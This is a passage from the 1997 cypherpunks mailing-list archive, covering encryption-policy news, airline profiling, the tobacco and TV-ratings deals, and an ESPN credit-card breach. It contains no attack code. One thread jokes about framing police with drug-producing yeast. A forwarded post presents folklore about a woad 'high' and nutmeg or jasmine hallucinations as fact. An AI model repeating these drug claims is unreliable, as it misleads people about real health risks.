to privacy for the American public in the next 100 years, and
the majority of people walking down the street will never
know what even happened," EFF executive director Lori Fena
told CNET's NEWS.COM. "We're preaching to the choir
already on the Net; it's more effective to reach people in their
cars." 

The radio ad is airing this week during rush-hour drive times
in San Francisco, New York, and Washington, D.C. The
organization will gauge the volume of response to the ad
before buying more air time, but Fena is encouraged by the
response so far. The nonprofit group has spent "in the low
thousands of dollars" on the advertisements, Fena added.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 11 Jul 1997 02:52:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102800afead774beaf@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970710144031.22003A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 10 Jul 1997, Tim May wrote:

> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

Yep - and it takes the blame (or so historians believe) of the witch
hunts.  Idea was you'd go to someone's house, they'd cook food made with
the grains that were contaminated, you'd have an acid trip and claim them
to be in league with the devil and get them killed. :)
 
> I expect Steve is right that someone will find a way to engineer a
> drug-producing common mold or yeast. The profit motive, per se, will not be
> much of an impediment, provided the costs of development are not huge. I
> can think of many who would participate, were any reasonable directions
> apparent.

While we're on the topic, let's not forget that we'll need some sort of
crypto as well -- we should have the little buggers only produce the drug
on demand when given a signed PGP message. :)  That way if the feds knock
down your door, they'll find no evidence.  Whenver you need your hit, you
ask the buggers to make you some, and you use it immediatly.

OTOH, there's something to be said about having fast acting yeast that
feeds on grass and other foliage (real grass, not canabis) and produces
tons of illegal substance. You could then simply fling this into the back
yards of LEA's everywhere, then call the cops on them.

Anyone know enough about DNA machine code to port PGP to yeast? <Grin>

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 11 Jul 1997 04:01:46 +0800
To: samplem@gusun.acc.georgetown.edu
Subject: Re: Jim Bell reference
In-Reply-To: <199707091809.LAA02522@slack.lne.com>
Message-ID: <v03007802afeae8e67e58@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



This is correct. The Georgetown site says incorrectly that Bell did set up
a betting pool. Perhaps the authors will fix this now that it's been
brought to their attention.

-Declan


>> They cites a Netly News article by Declan McCullagh
>> (http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html)
>>
>> Declan's article doesn't say, or even imply, that Bell actually
>> set up his AP betting pool.  The "database" authors apparently
>wanted
>> to make a point by making his crime seem to be real, and were
>willing
>> to stretch the truth to do so.
>


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 11 Jul 1997 06:58:32 +0800
To: Mark Grant <mark@unicorn.com>
Subject: Re: More PGP volunteers needed
In-Reply-To: <Pine.LNX.3.91.970710161340.8399A-100000@cowboy.dev.madge.com>
Message-ID: <Pine.3.89.9707101517.A20144-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 10 Jul 1997, Mark Grant wrote:

> Well, when I mailed Stale about it a week or two ago he said he already
> had over seventy volunteers. The problem may just be latency; my hundred
> pages took about twelve hours of mind-numbing work to correct (mostly
> spent getting the right number and combination of spaces and tabs in
> strings), so while I was able to do it in two days I could certainly
> understand some people taking a week or more to finish theirs. Plus, of
> course, the inevitable delays from sending the pages out by snail-mail. 

I noticed that Stale removed the call for volunteers from his page. You 
may be correct. The pages are in the pipeline.

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 11 Jul 1997 03:47:51 +0800
To: cypherpunks@toad.com
Subject: Re: More PGP volunteers needed
Message-ID: <Pine.LNX.3.91.970710161340.8399A-100000@cowboy.dev.madge.com>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green wrote:

> It would speed things up if more non-US citizens living outside the US
> willing to proofread source were to contact Stale Schumacher at
> <stale@hypnotech.com> to volunteer some time. You can wait for the source
> to show up on your favorite ftp site, or you can make it happen. Your 
> choice.

Well, when I mailed Stale about it a week or two ago he said he already
had over seventy volunteers. The problem may just be latency; my hundred
pages took about twelve hours of mind-numbing work to correct (mostly
spent getting the right number and combination of spaces and tabs in
strings), so while I was able to do it in two days I could certainly
understand some people taking a week or more to finish theirs. Plus, of
course, the inevitable delays from sending the pages out by snail-mail. 

        Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 11 Jul 1997 05:01:55 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <Pine.GSO.3.96.970710100127.21118H-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970710165415.0362e7d0@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 11:24 AM 7/10/97 -0700, Tim May wrote:

>We are probably still several decades away from the mechanosynthesis form
>of nanotech, presumably less far away from biological forms.

But we are much closer to desktop fab stations for larger items.  You can 
already buy one to "print" 3-D parts from CAD files.  Good for model making 
but even good enough for other uses where "hard" hardness is not required.  
Pricey though.

>Such "dangerous knowledge" will join bombmaking instructions in being added
>to Fineswine's law. Downloading of instructuctions for NC machine tools,
>too, if the instructions are for zip guns and even real guns.

Course they haven't managed to ban "Submachine Guns for the Home Workshop" or 
compact "hobby" milling stations yet, have they.

DCF

"Use a lathe go to jail."
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Fri, 11 Jul 1997 08:27:39 +0800
To: cypherpunks@cyberpass.net
Subject: [NEWS] Computer Coding Could Cripple Cops, FBI Warns
Message-ID: <v04000809afeb2a5bd3eb@[205.180.136.26]>
MIME-Version: 1.0
Content-Type: text/plain



Computer Coding Could Cripple Cops, FBI Warns

 By Aaron Pressman

WASHINGTON, July 9 (Reuter) - FBI Director Louis Freeh on Wednesday issued
his sternest warning yet that widespread use of computer encoding
technology could wreak havoc on crime-fighting efforts.

But computer industry participants warned that U.S. restrictions on
encryption products, which scramble information and render it unreadable
without a password or software "key," would merely boost sales by foreign
companies.

Freeh urged Congress to promote the use of a type of encryption that allows
law enforcement agents to crack the codes by getting access to the software
keys.

"Law enforcement is in unanimous agreement that the widespread use of
robust non-key recovery encryption ultimately will devastate our ability to
fight crime and prevent terrorism," the FBI director testified before the
Senate Judiciary Committee.

Freeh has spoken out numerous times against the unrestricted export of
strong encryption products, but his remarks Wednesday focused mainly on the
threat to law enforcement efforts within the United States.

Current laws impose tight controls on encryption exports but domestic use
is completely unregulated and some scholars believe restrictions on U.S.
citizens might be unconstitutional.

Much of Wednesday's hearing rehashed well-worn arguments in the encryption
debate. The software industry has backed legislation to relax export
controls and promote the use of encryption as a means of securing
electronic commerce and global communications over the Internet. Freeh and
other members of the Clinton administration oppose those policies.

Sen. Patrick Leahy, who is co-sponsor of a bill to dramatically relax
export controls, argued that use of encryption could help prevent crimes.
"Taking affirmative steps to use strong encryption can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, and reducing the vulnerability of electronic
information to online snoops and breaches of privacy," the Vermont Democrat
said.

Raymond Ozzie, author of the popular Lotus Notes messaging software, said
the private sector's experience with key recovery schemes revealed
significant problems. "All key management systems are inherently subject to
failure of one sort or another," Ozzie, chairman of IBM Corp. <IBM.N>
subsidiary Iris Associates, testified. "Mandated key management and key
recovery methods remove diversity and centralize our vulnerabilities," he
said.

"This is likely to increase crime," Ozzie said. In addition to the Leahy
measure, the Senate is also considering a bill sponsored by Sen. John
McCain, Republican of Arizona, and Sen. Bob Kerrey, Democrat of Nebraska.
That measure would continue to strictly limit export of encryption without
key recovery and require all computer networks used by the federal
government or funded in part by the government to include key recovery.

The Kerrey-McCain bill faces substantial opposition in the Senate, said
Marc Rotenberg, director of the Electronic Privacy Information Center, a
Washington-based cyber civil rights group.

"I don't think it has clear sailing on the Senate side," he said. An
industry-backed bill in the House similiar to the Leahy approach has strong
support and is expected to be approved by the International Relations
Committee there soon, Rotenberg added.

Wednesday, 9 July 1997 17:45:40
RTRS [nN09285032]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 11 Jul 1997 08:23:09 +0800
To: cypherpunks@Algebra.COM
Subject: Airlines to start profiling, bag matching
Message-ID: <33C57D63.422E@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.usatoday.com/news/washdc/ncs17.htm



07/10/97 - 08:26 AM ET

Airlines to start profiling, bag matching

New security measures for domestic flights, combining limited bag
matching with a controversial computerized profiling system, will be
operating by Dec. 31, Federal
Aviation Administration officials said Wednesday. 

But the proposal, scaled down from what a presidential commission
recommended in September, immediately drew fire from airline safety and
civil rights proponents. 

The FAA will require that "first, passengers are profiled and selected
bags are searched or matched," said Bruce Butterworth, director of civil
aviation security
operations, in an interview with USA TODAY. 

Airlines are expected to match bags with about 5% of fliers. A
computerized profiling system will identify those who might pose a
security risk. Example: passengers
who buy tickets with cash. 

If someone matches the profile, their bags would not be stowed until
they actually board the plane. 

Total bag matching is routine on international flights. 

But American Airlines executive vice president Robert Baker says he
doubts that the Dec. 31 deadline will be met because airlines are still
developing a profiling
system. "We'll be lucky to have this in place by next year," he says. 

The FAA says it was encouraged that a test of bag matching in May at 12
U.S. airports didn't cause massive delays. Proponents of 100% bag
matching say the FAA
caved into the airlines' demands. 

"This weakens the whole idea of bag matching. It's about time the FAA
decides whether it's on the side of profits for the airlines or on the
side of safety," says
Susan Cohen, whose daughter was killed by the terrorist bombing of Pan
Am Flight 103 in 1988. 

The presidential commission had proposed that every passenger be matched
with every bag on all domestic flights. 

But after the airlines objected, fearing massive delays, it agreed to a
combination of profiling and limited matching. 

Others say profiling may discriminate against some ethnic groups.
"Passengers should not have to give up essential liberties just to get
on planes," says the ACLU's
Gregory Nojeim. 

By Donna Rosato, USA TODAY





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unprivileged user <nobody@www.video-collage.com>
Date: Fri, 11 Jul 1997 05:32:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <v03102805afeab8b29d2f@[207.167.93.63]>
Message-ID: <97Jul10.172448edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 10 Jul 1997, Tim May wrote:

> 1. The "tobacco agreement." Supposedly a deal involving the transfer of
> 2. The "voluntary ratings" agreement being announced today by Al Gore and
> 
> The issue, it seems to me, is that ordinary concepts of illegality and
> civil liability are being swept aside in favor of these huge "deals" to
> reduce liability in exchange for various actions. Well, who is bound by
> these deals?

I think that in the first case it is a "template" for legislative action,
so that if congress passes it, it binds the states and the companies.
Otherwise you have the lawyers and lobbyists for both sides getting all
the money.

The second case is more of an industry standards type argument - If Gore
was not there, then instead of one network saying "moderately nasty
language" and a second flashing L3 on the screen, everone will use the
same method, something like the SAE standardizes on tool sizes.
Politicians gather around because it makes it look like they are doing
something useful.

> (Caveat: My personal and libertarian view is that lawsuits against
> cigarette companies are wrong and should not be supported in a free
> society. And lawsuits by various states to "recover health care costs" are
> especially bogus. By this logic, McDonald's could be sued by California
> because California paid out more health care benefits to meat-eaters than
> it did to vegetarians. Utterly bogus.)

I think people have the right to sue, but no tobacco company can be found
guilty of witholding information (the warning on the cigarette pack was by
statute adequate notice - in the same law that required the notices).

One of the problems is that such agreements specifically limit my right to
use the courts to address torts - which should be for the court to decide
the validity.  Our legal system needs other reforms (e.g. loser pays), but
eliminating all civil courts isn't the way to correct it.

If states don't like paying medicaid and medicare to smokers, they are
free to pass laws (or have congress pass laws) denying public health care
to anyone who has smoked in the last X years.  Add drug and/or alcohol use
and our welfare rolls would nearly disappear.  I don't think anyone has
any more right to smoke and collect welfare than drink and drive.  (I go
further, but this is a proper subset of my views).

> Anyway, the free speech aspects of these deals are also worrisome. The
> "voluntary restrictions" on advertising, for example. Would the
> aforementioned "Tim's Tobacco Company," not a party to this Grand Deal, be
> somehow bound by a deal wherein it could not sponsor sporting events? Or
> advertise? Or even speak out against the deal?

As when the banks encourage you to "Buy Savings Bonds"?  Tim May could
probably say whatever he wanted in any place they would accept the ad, but
commercial speech seems to be more limited.  It would depend if the
contract was passed as a bill.

> These huge mega-deals are a crummy way to interpret the U.S. Constitution.
> I fear the "Grand Compromise" deal that the telecom and crypto companies
> are being drawn into.

The problem is they are bills masquerading as contracts.  The industry
assumes that congress will do the wrong thing if they don't act to get
something first.  Normally congress doesn't revisit an issue after
something is done and everyone forgets about it, and no one ever reads the
fine print.

The larger question is whether I, as a US Citizen, can write and publish a
program under the first ammendment, and could US Citizens use such a
program, if there were any crypto agreement in place or law passed
covering programs sold by US companies.  I don't think code-as-speech is
as threatened as code-as-product.  At least not yet.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Fri, 11 Jul 1997 04:46:25 +0800
To: amp@pobox.com
Subject: Re: Jim Bell reference
In-Reply-To: <Chameleon.868552644.amp@ampugh.mcit.com>
Message-ID: <Pine.LNX.3.96.970710163137.21206K-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 10 Jul 1997 amp@pobox.com wrote:
> 
> Gee, suprise, suprise. D.Denning is behind anti-encryption (anti
> liberty) propaganda.
> 
> If you search the net for writings or speeches by Denning, and any
> government reports about encryption,, you will find that she is the
> source of most anti-encryption propaganda in the u.s..

Most of her academic research was before she became involved in government
policies. Since she is now in a position of trust with the government she
could be the cypherpunks friend rather than foe. It appears that the paper
on key recovery  penned by various well-respected 'cypherpunks' like
Blaze, Neumann, Rivest, Schiller, and Schneier (not everyone I know) has
indeed had an effect on her. 

The one major difference in Dr. Denning's point of view is that she has a
large degree of trust in LEA. Period. That is the difference
between Dr. Denning and the average cypherpunk. 

Denning believes that encryption will hinder law enforcement. It will, it
may already. The difference is that she 'sees' a way to prevent that while
maintaining privacy of the indiviual (from other indiviuals). This is true
and if the infrastructure could be built it, would work to a
limited degree. 

The evidence is weak, in an article from May of this year, Denning quotes
500 cases world-wide, but neglects to follow-up with which of these cases
were solved regardless; due to other evidence or because the suspect was
using crummy crypto. 

Denning doesn't seem too concern with lawless government access, access
beyond the scope, government tampering or forgery of information which are
possible with poor key escrow technologies.

Denning talks of unnamed test projects, she thinks finanical businesses do
deserve to be special under export regulations (or knows that they would
lean on the regulations to remove them), and knows enough about people to
know that there is no need to mandate 'key recovery,' businesses want to
buy into it.

At least Denning does not recomment domestic restrictions (she'd be out of
a job if so) and is willing to admit to a change of heart. 

Anyway everyone knows that celluar phones catch more criminals than any
other law enforcement tool (like hard work).

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
Legalize mathematics





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 11 Jul 1997 08:36:32 +0800
To: cypherpunks@Algebra.COM
Subject: A cheery note from USA Today
Message-ID: <33C57FF8.249B@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.usatoday.com/usafront.htm

This from their little happy factiod section...

"Since FDA approval of Prozac in 1987, the number of
Americans taking the anti-depressant has grown to 20
million."

And considering the side-effects of Prozac, it is any wonder we live in
a sexually frustrated nation?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 11 Jul 1997 06:25:42 +0800
To: cypherpunks@toad.com
Subject: Re: Recreational pharmaceuticals by genetic engineering (fwd)
Message-ID: <Pine.SUN.3.96.970710181651.22003D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 10 Jul 1997 18:09:27 -0400 (EDT)
From: "Eileen Tronolone (Pathfinder)" <eileent@pathfinder.com>
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Recreational pharmaceuticals by genetic engineering (fwd)

Also Sprach Ray Arachelian:

> Psilocibe mushrooms usually cause vomiting.  Most Amanita species
> have an lethal dosage which is uncomfortably close to the
> effective dosage, not a good thing in a drug.  Amanita muscaria
> however was used by the vikings to help induce their 'berserker'
> state for battle.

Actually - and you can forward this to relevant parties - woad, the
infamous herb used by the Celtic warrior in the form of blue body 
paint, when mixed with urine (which is how they applied it to their
bodies) causes a reaction very similar to cocaine and most amphetamines.
The reduction in pain that is felt from wounds and the ecstacy brought
on can easily be confused with a typical beserker reaction. The term
beserk originates from "bare sark" - the beserkers wore little if no
armor and the Celts are particularily famous for going into battle
"in the altogether" except for the blue war-paint. The feeling of
invulnerability that comes from the woad "high" led to this custom.

Other semi-legal although dangerous "highs" can result from the 
ingestion of too much nutmeg or jasmine, both hallucenogens. 

-- 
Eileen Tronolone     | eileent@pathfinder.com | Do not           CD  c
System Administrator | redsonja@giti.com      | taunt --------P===\==/
Commerce Team        | gotagun@liii.com       | happy fun         /_\__
Time Inc. New Media  | 212-522-9121           | fencer!             _\ \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Swire <swire.1@osu.edu>
Date: Fri, 11 Jul 1997 06:42:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
Message-ID: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
MIME-Version: 1.0
Content-Type: text/plain



At 09:29 AM 7/10/97 -0700, Tim May wrote:

>I'm not a lawyer, but I am interested in the various ramifications--and the
>constitutionality--of recent "sweeping contracts" between vendors,
>lawmakers, consumers, etc.
>
>Two recent example:
>
>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>$360 billion from some number of tobacco companies in exchange for dropping
>of liability suits, immunity from future claims, voluntary restrictions (!)
>on advertising, etc. (And the "etc." is especially complicated in this huge
>case.)

        So far as I know, the agreement has no legal effect until and unless
a bill is enacted in Congress. Once a bill is enacted, there can obviously
be far-reaching ramifications.  For instance, an individual's right to sue
in tort can be cut off.  Punitive damages can be abolished for the defined
class of suits, etc.
        If such a bill is enacted, various groups would likely sue on the
basis that it is unconstitutional.  That's what happened with CDA -- the
indecency provisions first became law, and then were overturned in the courts.
>
>2. The "voluntary ratings" agreement being announced today by Al Gore and
>some of the television networks. (Earlier "voluntary agreements" were
>implemented, but, according to supporters of censorship, "failed." Hence
>the new push for newer voluntary restrictions.)

        The big legal fight on ratings is whether any "state action" takes
place.  The First Amendment governs efforts by a federal or state government
to restrict speech.  If private companies "voluntarily" agree to do
something, the First Amendment simply does not apply.  But if the coercive
power of the state forces them to do the same thing, then the courts can get
involved under the First Amendment.
        Here, if the government is too explicit that it will ban certain
speech unless the networks ban it, then a court might find that the
government in fact is involved in an impermissible way.

>The issue, it seems to me, is that ordinary concepts of illegality and
>civil liability are being swept aside in favor of these huge "deals" to
>reduce liability in exchange for various actions. Well, who is bound by
>these deals?
>
>If "Tim's Tobacco Company" starts up next year, after this deal is
>"signed," is his company bound by this deal? If Tim the Smoker develops
>lung cancer, is he blocked from suing?
>

       The basic concepts are pretty clear.  A contract among various
parties binds that group of parties.  A statute of general applicability can
regulate everyone in the jurisdiction.
       The existing tobacco companies can't bind "Tim's Tobacco Company" in
their contract.  However, if they support a bill in Congress, and the
statute is enacted, then their actions might indeed play a role in
restricting your actions later on.

        Peter

Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1@osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 11 Jul 1997 11:20:57 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Hacker cracks ESPN
In-Reply-To: <1.5.4.32.19970711013002.006d30e4@pop.pipeline.com>
Message-ID: <3.0.2.32.19970710200813.03f1f290@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:30 PM 7/10/97 -0400, John Young wrote:
>
>Lynn Harrison wrote:
>
>>Starwave is warning customers about an "intruder" who took credit card
>>numbers from the ESPN and NBA Web sites and then sent messages to the card
>>owners about the alleged security flaws. Will the security breach on the
>>popular sports sites affect emerging e-commerce efforts?
>
>Is this the same story as the one in The Wall Street Journal today
>about Phiber Optic's "accidentally" sending worldwide a security
>test that automatically returns passwords stored on supposedly
>secure systems?

Nope.

http://www.computerworld.com/news/news_articles/970710onlineccard.html

Online credit-card scare an inside job,
          Starwave says 

          Two separate but chilling messages were sent to people who
          purchased items online from ESPNet or the NBA Store this
          week. The first anonymous E-mail told shoppers they had
          been the victims of careless security and that their
          credit-card numbers and addresses were easily available.

          The second message, sent by E-mail and regular mail by the
          World Wide Web sites' host, Starwave Corp., alerted 2,397
          online shoppers that their credit-card information might have
          been misappropriated.

          Starwave said the credit-card information was in a secure,
          encrypted area that was accessed by an intruder who had
          the proper password information. "This was not done by a
          hacker," said Jennifer Yazzolino, a Starwave spokeswoman.
          "They knew how to get in to the system and unlawfully used
          classified information." The area that the intruder broke in to
          was an order-processing system that sends shoppers'
          orders from each site to 1-800-PRO-TEAM, a Florida
          fulfillment company.

          Following the break-in, Starwave called in the FBI and the U.S.
          Secret Service to investigate. It has also implemented a new
          encryption process and changed all system passwords. "We
          think this is a matter of a password either being used
          directly by someone involved with the system or passed along
          directly by someone involved in the system," Yazzolino said. 

          "We relied too much on human integrity."

>Phiber claims he did not know the test would generate a flood of
>passwords to his e-mail address: from corps, mils, and govs. 
>Says he's so sorry, especially because he's still doing
>community service.

One of the articles on the "hack" revealed that it was the INN hole
reported a while back.  The only people who got "caught" by the hack were
people who did not update their software.

>Phiber's employer refused to name the computer corp that installed the
>secure system Phiber was testing. However, experts interviewed said 
>the password snarf feature is, ahem, well-known to experts, and that 
>the only security worth trusting is the one you build and run yourself 
>and test frequently and still makes you lay awake at night shivering in 
>doubt fear and uncertainty -- like guilty-parental senators, TLA directors, 
>and all the world's bearers of the public trust and such fundy druggies.

It also shows what happens when you do not follow even the basic CERT
warnings...

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Fri, 11 Jul 1997 11:21:40 +0800
To: Peter Swire <cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
In-Reply-To: <199707102236.SAA07074@mail3.uts.ohio-state.edu>
Message-ID: <v03102809afeb5318b909@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:36 PM -0700 7/10/97, Peter Swire wrote:
>At 09:29 AM 7/10/97 -0700, Tim May wrote:
>
>>I'm not a lawyer, but I am interested in the various ramifications--and the
>>constitutionality--of recent "sweeping contracts" between vendors,
>>lawmakers, consumers, etc.
>>
>>Two recent example:
>>
>>1. The "tobacco agreement." Supposedly a deal involving the transfer of
>>$360 billion from some number of tobacco companies in exchange for dropping
>>of liability suits, immunity from future claims, voluntary restrictions (!)
>>on advertising, etc. (And the "etc." is especially complicated in this huge
>>case.)
>
>        So far as I know, the agreement has no legal effect until and unless
>a bill is enacted in Congress. Once a bill is enacted, there can obviously
>be far-reaching ramifications.  For instance, an individual's right to sue
>in tort can be cut off.  Punitive damages can be abolished for the defined
>class of suits, etc.
>        If such a bill is enacted, various groups would likely sue on the
>basis that it is unconstitutional.  That's what happened with CDA -- the
>indecency provisions first became law, and then were overturned in the courts.
>
That was my take, too.

IANAL, but I don't see how this "agreement" can possibly work.
Especially since it's not an agreement at all.

Congress will pass a law, and if the tobacco companies don't like
it, (a foregone conclusion, given the posturing going on) they will
sue to overturn it. (And again IMHO, they'll win.)

Then congress will pass another law more to the
tobacco companies liking.

I predict this will not be settled until after Clinton leaves office.

>>2. The "voluntary ratings" agreement being announced today by Al Gore and
>>some of the television networks. (Earlier "voluntary agreements" were
>>implemented, but, according to supporters of censorship, "failed." Hence
>>the new push for newer voluntary restrictions.)
>
>        The big legal fight on ratings is whether any "state action" takes
>place.  The First Amendment governs efforts by a federal or state government
>to restrict speech.  If private companies "voluntarily" agree to do
>something, the First Amendment simply does not apply.  But if the coercive
>power of the state forces them to do the same thing, then the courts can get
>involved under the First Amendment.
>        Here, if the government is too explicit that it will ban certain
>speech unless the networks ban it, then a court might find that the
>government in fact is involved in an impermissible way.
>
What is the (legal) downside to a network (or producer)
saying "No, I won't rate my shows."?
Personally, I'd love to see Disney do this.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Fri, 11 Jul 1997 11:21:29 +0800
To: Alan Olsen <root@nwdtc.com>
Subject: Re: Airlines to start profiling, bag matching
In-Reply-To: <33C57D63.422E@nwdtc.com>
Message-ID: <v0310280aafeb55463c3b@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



>Others say profiling may discriminate against some ethnic groups.
>"Passengers should not have to give up essential liberties just to get
>on planes," says the ACLU's Gregory Nojeim.
>
Yes, but we've already lost that fight.
Your papers, please?

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Fri, 11 Jul 1997 11:50:18 +0800
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: Airlines to start profiling, bag matching
In-Reply-To: <33C57D63.422E@nwdtc.com>
Message-ID: <3.0.2.32.19970710204125.00b7b9f0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:13 PM 7/10/97 -0700, Marshall Clow wrote:
>
>>Others say profiling may discriminate against some ethnic groups.
>>"Passengers should not have to give up essential liberties just to get
>>on planes," says the ACLU's Gregory Nojeim.
>>
>Yes, but we've already lost that fight.
>Your papers, please?

"Is this Nazi land so good?  Would you leave it if you could?" - from the
missing part of the Clinton inaguration speech
---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 11 Jul 1997 09:51:18 +0800
To: cypherpunks@toad.com
Subject: Re: Hacker cracks ESPN
Message-ID: <1.5.4.32.19970711013002.006d30e4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Lynn Harrison wrote:

>Starwave is warning customers about an "intruder" who took credit card
>numbers from the ESPN and NBA Web sites and then sent messages to the card
>owners about the alleged security flaws. Will the security breach on the
>popular sports sites affect emerging e-commerce efforts?

Is this the same story as the one in The Wall Street Journal today
about Phiber Optic's "accidentally" sending worldwide a security
test that automatically returns passwords stored on supposedly
secure systems?

Phiber claims he did not know the test would generate a flood of
passwords to his e-mail address: from corps, mils, and govs. 
Says he's so sorry, especially because he's still doing
community service.

Phiber's employer refused to name the computer corp that installed the
secure system Phiber was testing. However, experts interviewed said 
the password snarf feature is, ahem, well-known to experts, and that 
the only security worth trusting is the one you build and run yourself 
and test frequently and still makes you lay awake at night shivering in 
doubt fear and uncertainty -- like guilty-parental senators, TLA directors, 
and all the world's bearers of the public trust and such fundy druggies.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 11 Jul 1997 11:04:19 +0800
To: azur@netcom.com (Steve Schear)
Subject: Re: Recreational pharmaceuticals by genetic engineering
In-Reply-To: <v03102807afea1f8f0451@[10.0.2.15]>
Message-ID: <199707110253.VAA02731@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> I know this is off-topic for the list...
> But why hasn't some cleaver graduate student engineered a common mold or
> yeast to yield easily extracted (or directly ingestible) common
> recreational pharmaceuticals?  Ideally it would be a perpetual source, like

	You mean like psilosybin (sp?) mushrooms? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 11 Jul 1997 13:10:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Recent Trend in "Collective Contracts"
